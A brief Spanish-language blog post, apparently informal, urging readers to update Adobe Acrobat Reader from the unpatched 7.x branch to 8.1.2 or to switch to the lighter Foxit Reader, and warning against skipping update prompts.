Adobe ha decidido no actualizar la rama 7.x de su producto, con lo que la solución pasa por actualizar a la 8.1.2 desde su web oficial, o utilizar (si es posible) alternativas como Foxit Reader el cual es libre y gratuito, además de ser super liviano [2.45 MB el pack] o 2.13 MB el instalador solo.

Así que ahora, no hagan “SKIP” si su Acrobat Reader les recomienda instalar una actualización, actualicen porque sinó sus PC se llenan de bichitos…

Saludos!